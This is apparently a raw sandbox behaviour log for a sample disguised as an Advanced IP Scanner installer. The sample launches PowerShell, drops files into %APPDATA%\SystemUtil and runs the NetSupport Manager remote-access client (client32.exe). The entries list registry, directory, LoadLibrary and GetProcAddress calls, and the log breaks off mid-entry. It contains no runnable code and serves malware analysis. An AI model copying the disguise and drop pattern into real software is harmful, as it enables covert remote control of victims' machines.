"C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll" at 00000000-00007184-00000C17-639773679 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll" at 00000000-00007184-00000C17-639793758 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00007184-00000C17-639855321 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00007184-00000C17-639960844 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00007184-00000C17-639961085 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll" at 00000000-00007184-00000C17-640493881 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00007184-00000C17-640530687 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00007184-00000C17-640571991 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00007184-00000C17-640572263 "powershell.exe" queries volume information of "C:\" at 00000000-00007184-00000C17-641369438 "powershell.exe" queries volume information of "C:\share" at 00000000-00007184-00000C17-641370552 "powershell.exe" queries volume information of "C:\share" at 00000000-00007184-00000C17-641477232 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007184-00000C17-643137763 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007184-00000C17-643760764 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007184-00000C17-643892765 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007184-00000C17-644087363 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll" at 00000000-00007184-00000C17-644140058 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll" at 00000000-00007184-00000C17-644164342 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll" at 00000000-00007184-00000C17-644178924 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" at 00000000-00007184-00000C17-64419661943:T75b,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\A1720D68EEF7DC381A533FD8584A227DB3DBCAED16098A0D7F31077F95355E8C.TMP") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE"; Key: "APPENDPATH") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE"; Key: "PATH") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\CLIENT32.EXE") "client32.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{3F709462-4AD7-482F-8761-C6ED6AD145A1}") "client32.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{C412F191-BB15-4E40-9CCC-97E571D2C6BF}") "client32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{787DFE02-CC6C-4AAC-B455-166BBEE4C5AF}") "client32.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{787DFE02-CC6C-4AAC-B455-166BBEE4C5AF}")44:T634,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "CreateDirectoryW" with parameter %TEMP%\is-2BB8I.tmp (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "CreateDirectoryW" with parameter %TEMP%\is-0DA6D.tmp (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "CreateDirectoryW" with parameter %TEMP%\is-0DA6D.tmp\_isetup (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "CreateDirectoryW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "CreateDirectoryW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\platforms (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "CreateDirectoryW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\printsupport (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Network Tools (UID: 00000000-00005220) "powershell.exe" called "CreateDirectoryW" with parameter %APPDATA%\SystemUtil (UID: 00000000-00007184) "client32.exe" called "CreateDirectoryA" with parameter %LOCALAPPDATA%\NetSupport (UID: 00000000-00001628) "client32.exe" called "CreateDirectoryA" with parameter %LOCALAPPDATA%\NetSupport\NetSupport Manager (UID: 00000000-00001628)45:T44f2,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\shell32.dll (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "LoadLibrary" with a parameter Msctf.dll (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "LoadLibrary" with a parameter wtsapi32.dll (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "LoadLibrary" with a parameter %WINDIR%\system32\shell32.dll (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "LoadLibrary" with a parameter DWMAPI.DLL (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "LoadLibrary" with a parameter %WINDIR%\system32\shfolder.dll (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "LoadLibrary" with a parameter Shcore.dll (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "LoadLibrary" with a parameter %WINDIR%\system32\shlwapi.dll (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "LoadLibrary" with a parameter %WINDIR%\system32\sfc.dll (UID: 00000000-00005220) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405#\e7f9e4af50c666b5fec85987c303915a\Microsoft.Management.Infrastr (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MPCLIENT.DLL (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MsMpLics.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\urlmon.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvC (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Kd58820a5#\73c2c8627fee7863c44684ef9b2f3a21\Microsoft.KeyDistributionServ (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDis (UID: 00000000-00007184) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll (UID: 00000000-00007184) "client32.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001628) "client32.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001628) "client32.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001628) "client32.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001628) "client32.exe" called "LoadLibrary" with a parameter %APPDATA%\SystemUtil\dbghelp.dll (UID: 00000000-00001628) "client32.exe" called "LoadLibrary" with a parameter Wtsapi32.dll (UID: 00000000-00001628) "client32.exe" called "LoadLibrary" with a parameter DBGHELP.DLL (UID: 00000000-00001628) "client32.exe" called "LoadLibrary" with a parameter Advapi32.dll (UID: 00000000-00001628) "client32.exe" called "LoadLibrary" with a parameter "%APPDATA%\SystemUtil\GetUserLang.exe"pcicl32_res.dll (UID: 00000000-00001628) "client32.exe" called "LoadLibrary" with a parameter NSMTRACE (UID: 00000000-00001628) "client32.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00001628) "client32.exe" called "LoadLibrary" with a parameter nslsp.dll (UID: 00000000-00001628) "client32.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001628) "client32.exe" called "LoadLibrary" with a parameter setupapi.dll (UID: 00000000-00001628) "client32.exe" called "LoadLibrary" with a parameter %APPDATA%\SystemUtil\CryptPak.dll (UID: 00000000-00001628) "client32.exe" called "LoadLibrary" with a parameter %APPDATA%\SystemUtil\HTCTL32.DLL (UID: 00000000-00001628) "client32.exe" called "LoadLibrary" with a parameter WinInet.dll (UID: 00000000-00001628) "client32.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00001628) "client32.exe" called "LoadLibrary" with a parameter User32.dll (UID: 00000000-00001628) "client32.exe" called "LoadLibrary" with a parameter imm32 (UID: 00000000-00001628) "client32.exe" called "LoadLibrary" with a parameter pcihooks (UID: 00000000-00001628) "client32.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00001628) "client32.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00001628) "client32.exe" called "LoadLibrary" with a parameter SHELL32.DLL (UID: 00000000-00001628) "client32.exe" called "LoadLibrary" with a parameter riched32.dll (UID: 00000000-00001628) "client32.exe" called "LoadLibrary" with a parameter USER32 (UID: 00000000-00001628) "client32.exe" called "LoadLibrary" with a parameter PCIINV.DLL (UID: 00000000-00001628) "client32.exe" called "LoadLibrary" with a parameter %APPDATA%\SystemUtil\LoopbackUnblocker.dll (UID: 00000000-00001628)46:T176e4,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 